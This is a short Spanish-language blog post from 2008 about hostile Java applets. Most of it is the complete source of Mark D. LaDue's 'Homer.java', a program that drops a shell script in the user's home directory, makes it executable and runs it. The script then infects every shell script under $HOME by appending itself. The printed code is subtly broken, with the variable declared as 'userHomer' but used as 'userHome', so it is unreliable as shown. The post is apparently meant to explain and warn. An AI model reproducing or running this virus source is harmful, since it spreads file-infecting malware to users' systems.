Mostrando las entradas con la etiqueta hostiles. Mostrar todas las entradas
Mostrando las entradas con la etiqueta hostiles. Mostrar todas las entradas

27/5/08

Applets hostiles

En los últimos años, con la proliferación de la web, Java y Javascript, una nueva forma de malware se ha hecho popular. estos instentan monopolizar o explotar los recursos del sistema de una forma inapropiada, esto incluye desde ataques clásicos como negaciones de servicio o ejecución remota de programas en la máquina cliente hasta amenazas mucho más elaboradas, como difusión de virus, ruptura lógica de cortafuegos o utilización de recursos remotos para grandes cálculos científicos.

Como ejemplo de applet hostil - aunque este en concreto no es muy peligroso - tenemos el siguiente código, obra de Mark D. LaDue (1996):

zkk:~/Security# cat Homer.java
import java.io.*;

class Homer {
public static void main (String[] argv) {
try {
String userHomer = System.getProperty("user.home");
String target = "$HOME";
FileOutputStream outer = new
FileOutputStream(userHome + "/.homer.sh");
String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" +
"echo \"Java is safe, and UNIX viruses do not exist.\"" + "\n" +
"for file in `find " + target + " -type f -print`" + "\n" + "do" +
"\n" + " case \"`sed 1q $file`\" in" + "\n" +
" \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" +
" || sed -n '/#-_/,$p' $0 >> $file" + "\n" +
" esac" + "\n" + "done" + "\n" +
"2>/dev/null";
byte[] buffer = new byte[homer.length()];
homer.getBytes(0, homer.length(), buffer, 0);
outer.write(buffer);
outer.close();
Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 777 " +
userHome + "/.homer.sh");
Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +
"/.homer.sh");
} catch (IOException ioe) {}
}
}
zkk:~/Security#

Este programa infecta los sistemas Unix con un virus que contamina ficheros shellscript; antes de hacerlo muestra el mensaje `Java is safe, and UNIX viruses do not exist', para después localizar todos los ficheros shell en el directorio $HOME, comprobar cuáles están infectados, e infectar los que no lo están.